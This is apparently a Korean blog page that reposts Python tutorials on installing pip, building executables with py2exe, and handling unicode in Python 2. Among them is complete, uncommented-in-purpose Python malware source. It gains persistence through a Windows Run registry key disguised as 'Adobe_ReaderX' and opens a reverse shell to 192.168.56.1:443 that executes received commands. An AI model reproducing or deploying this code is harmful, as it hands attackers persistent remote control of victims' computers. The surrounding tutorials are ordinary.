반응형

출처: http://codingdojang.com/scode/371


pip은 파이썬 관련 패키지를 설치할 때 가장 많이 사용하는 툴입니다.

참고 : https://pypi.python.org/pypi/pip

하지만 파이썬 설치 시 pip은 포함되지 않기 때문에 다음과 같은 방법으로 pip을 먼저 설치해 주어야만 합니다.

윈도우즈

윈도우즈의 경우는 다음 URL에서 바이너리를 다운받아서 설치하는게 가장 간편하겠네요:

http://www.lfd.uci.edu/~gohlke/pythonlibs/#pip

리눅스

윈도우즈가 아니면 pip 을 설치하는 순서는 다음과 같습니다.

1. easy_install 설치

다음의 URL에서 distribute zip 파일을 다운로드 받은 후에 설치합니다.

https://pypi.python.org/pypi/distribute

zip 파일 압축 해제 후 다음의 명령어를 수행합니다.

python setup.py install

2. pip 설치

다음의 명령어를 수행하여 pip 을 설치합니다.

easy_install pip


※ ubuntu의 경우 easy_install를 설치할 필요없이 apt-get 을 이용하여 보다 간편하게 설치가 가능합니다:

sudo apt-get install python-pip

pip python windows


반응형
반응형

출처: http://www.primalsecurity.net/0xc-python-tutorial-python-malware/

 

import sys, base64, os, socket, subprocess
from _winreg import *
 
def autorun(tempdir, fileName, run):
# Copy executable to %TEMP%:
    os.system('copy %s %s'%(fileName, tempdir))
 
# Queries Windows registry for the autorun key value
# Stores the key values in runkey array
    key = OpenKey(HKEY_LOCAL_MACHINE, run)
    runkey =[]
    try:
        i = 0
        while True:
            subkey = EnumValue(key, i)
            runkey.append(subkey[0])
            i += 1
    except WindowsError:
        pass
 
# If the autorun key "Adobe ReaderX" isn't set this will set the key:
    if 'Adobe ReaderX' not in runkey:
        try:
            key= OpenKey(HKEY_LOCAL_MACHINE, run,0,KEY_ALL_ACCESS)
            SetValueEx(key ,'Adobe_ReaderX',0,REG_SZ,r"%TEMP%\mw.exe")
            key.Close()
        except WindowsError:
            pass
 
def shell():
#Base64 encoded reverse shell
    s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    s.connect(('192.168.56.1', int(443)))
    s.send('[*] Connection Established!')
    while 1:
        data = s.recv(1024)
        if data == "quit": break
        proc = subprocess.Popen(data, shell=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE, stdin=subprocess.PIPE)
        stdout_value = proc.stdout.read() + proc.stderr.read()
        encoded = base64.b64encode(stdout_value)
        s.send(encoded)
        #s.send(stdout_value)
    s.close()
 
def main():
    tempdir = '%TEMP%'
    fileName = sys.argv[0]
    run = "Software\Microsoft\Windows\CurrentVersion\Run"
    autorun(tempdir, fileName, run)
    shell()
 
if __name__ == "__main__":
        main()
반응형
반응형

출처: http://itmir.tistory.com/339

http://shsong97.blogspot.kr/2014/10/py2exe-exe.html

 

python으로 짜여진 프로그램을 exe화할때가 있습니다


예를들면 파이썬이 설치되지 않은 곳에서 실행을 위해서이죠


이때 사용하는 프로그램이 있습니다


py2exe가 그 주인공 인대요



이번에는 그 방법을 알아보겠습니다


먼저 python을 받아주세요

python은 www.python.org에서 받을수 있습니다


python-2.7.5.z01


python-2.7.5.zip



첨부로도 올려두겠습니다


또한 py2exe라는 프로그램도 설치해야 합니다

http://sourceforge.net/projects/py2exe/files/py2exe/0.6.9/

여기서 설치한 python에 맞는 py2exe를 받아주세요

위에 올려진 python을 설치했다면


py2exe-0.6.9.win32-py2.7.exe



자 모두 설치해주시면 아래를 따라해주세요


py파일을 하나 생성해 줍시다

이름은 make.py로 해줍시다

from distutils.core import setup

import py2exe


setup(console=['컴파일할파일명.py'])

내용은 위와 같이 심플합니다 ㅎㅎ


저기에 있는 컴파일할파일명.py만 조절해 주세요


그다음 cmd에서

C:\Python27\python.exe make.py (만들어질 이름).exe

그럼 dist폴더에 만들어진 exe가 존재하는대요


파일이 많습니다...


하나의 exe로 만드는 방법은 아래와 같습니다

from distutils.core import setup

import py2exe


excludes = [

    "pywin",

    "pywin.debugger",

    "pywin.debugger.dbgcon",

    "pywin.dialogs",

    "pywin.dialogs.list",

    "win32com.server",

]


options = {

    "bundle_files": 1,                 # create singlefile exe

    "compressed"  : 1,                 # compress the library archive

    "excludes"    : excludes,

    "dll_excludes": ["w9xpopen.exe"]   # we don't need this

}


setup(

    options = {"py2exe": options},

    zipfile = None,

    console = ["컴파일할파일명.py"]

)

아까 만든 make.py의 내용을 위와 같이 바꿔주세요


위와 마찬가지로

C:\Python27\python.exe make.py (만들어질 이름).exe


이렇게 입력하면


dist폴더에 한개의 exe가 생성됩니다



make.py

 

 

 

C:\Python27\mydir> python setup.py py2exe

or directly

C:\Python27\mydir> setup.py py2exe
 
 
에러가 발생한다면?
1. 스크립트가 실행안된다고 생각되면 path 환경변수에 아래를 추가한다.

c:\python27;c:\python27\scripts; 

2. 컴파일 도중에 마지막에 에러가 발생하면 아래의 파일을 다운받아 설치한다. 
C 로 컴파일 하기 위해 아래의 패키지가 필요하다.

Microsoft Visual C++ 2008 Redistributable Package (x86)
반응형
반응형

출처: http://jonnung.blogspot.kr/2014/07/python2-unicode-utf8.html

 

 파이썬2.x의 기본 인코딩은 ascii 이다. 파이썬 스크립트에서 한글을 사용하게 될 때 파이썬은 ascii 인코딩일 것으로 예상하고 해석하려고 하지만 한글을 ascii로 해석이 불가능 하기 때문에 SyntaxError가 발생 한다.

 이 문제를 해결하기 위해 파이썬 파일의 최상단에는 아래와 같은 주석을 추가하면 조금 도움이 된다.

1
#-*- coding: utf-8 -*-


 이 주석이 있으면 해당 파이썬 스크립트는 utf-8로 인코딩 되어 있다는 것을 미리 알려주는 역할을 한다.

 여기서 잠깐 유니코드(unicode)와 utf-8에 대한 설명을 간단하게 하자면 utf-8은 유니코드를 위한 문자 인코딩 방식 중에 하나이다. utf-8 인코딩은 유니코드 한 문자를 나타내기 위해 1바이트에서 4바이트까지 사용한다고 한다.

 다시 파이썬의 인코딩에 대한 부분으로 돌아가서 간단한 예제를 하나 보도록 하자.

1
2
3
4
# -*- coding: utf8 -*-
 
print(type('한글').__name__)  # str
print(type(u'한글').__name__)  # unicode
1
2
3
4
print(type('한글').__name__)
print(type(u'한글').__name__)
 
SyntaxError: Non-ASCII character '\xed' in file…블라블라~


 위 예제 코드의 결과를 보면 쉽게 감을 잡을 수 있다.

 첫번째 에제코드에서 상단에 내부 문자에 대한 인코딩을 utf-8로 하겠다는 미리 알려줬기 때문에(누구에게?? print에게!!) ‘한글’이라는 문자열의 타입은 확인해보면 string 이다. 그리고 u’한글’으로 하게 되면 유니코드로 잘 변환해서 출력 시켜주는 것을 알 수 있다.

 두번째 예제에서는 상단에 선언한 부분을 제거하고 스크립트를 실행 시켜봤는데 역시나 문법에러(SyntaxError)가 발생 하는 것을 확인 할 수 있었다. ‘한글’을 기본적으로 ascii로 해석하려 하기 때문에 type을 알 수도 없고, 유니코드로 변환도 할 수 없는 것이다.

1
2
3
4
# -*- coding: utf8 -*-
 
print str(unicode('한글'))
print str(unicode(‘한글', ‘utf-8'))


 ‘한글’을 유니코드로 변환하고, 그 유니코드를 다시 문자열로 바꿔서 출력하려고 한다.
이 코드는 결과는 무엇일까?
unicode() 기본적으로 전달된 인자값을 ascii로 해석하려고 하기 때문에 위 예제는 아래와 같은 에러가 발생한다.

1
UnicodeDecodeError: 'ascii' codec can't decode byte 0xed in position 0: ordinal not in range(128)


 결국 상단에 utf-8을 사용할 것이라고 선언했어도 unicode() 함수를 사용할때는 소용없다는 것을 알게 되었다.

이 코드를 정상적으로 동작하도록 해보자.

1
2
3
4
5
6
7
8
9
10
11
12
13
# -*- coding: utf8 -*-
 
# 유니코드로 다루기 예제1
hoo = unicode('한글', 'utf-8')
print str(hoo.encode('utf-8'))
 
# 유니코드로 다루기 예제2
bar = '한글'.decode('utf-8')
print bar.encode('utf-8')
 
# 유니코드로 다루기 예제3
foo = u'한글'
print str(foo.encode('utf-8'))


정신 건강을 위해서라도 파이썬 스크립트 내부에서 사용하는 모든 문자열은 유니코드로 다루는 것이 좋겠다.
그리고 파일이나 DB에 저장하거나 네트워크로 전송하기 직전에는 string으로 변환해서 넘겨주는 방식으로 개발하는 것이 좋다…

아! 그리고  ‘유니코드가 아닌 상태로 CJK(Chinese. Japanese, Korean) 비교할 때 주의할 점’(https://gist.github.com/kimdwkimdw/a2ea13848167984adc8f)도 참고하고 숙지해서 개발시에 엉뚱한 삽질은 안하도록 하자!


참고 자료

반응형

+ Recent posts